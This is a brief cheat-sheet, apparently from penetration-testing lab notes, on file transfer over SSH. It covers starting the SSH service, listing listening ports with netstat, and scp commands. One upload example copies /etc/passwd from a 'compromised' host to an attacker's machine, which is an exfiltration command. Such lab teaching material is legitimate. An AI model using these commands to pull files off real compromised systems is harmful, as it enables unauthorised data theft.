SSH Download/Upload

Download

To setup and start SSH:

sudo systemctl enable ssh
sudo systemctl start ssh

We can also use netstat to check for connections:

netstat -lnpt

Using SCP to download

scp [email protected]:/root/myroot.txt .

Upload

Using SCP to upload from compromised to attacker

 scp /etc/passwd [email protected]:/home/htb-student/

Last updated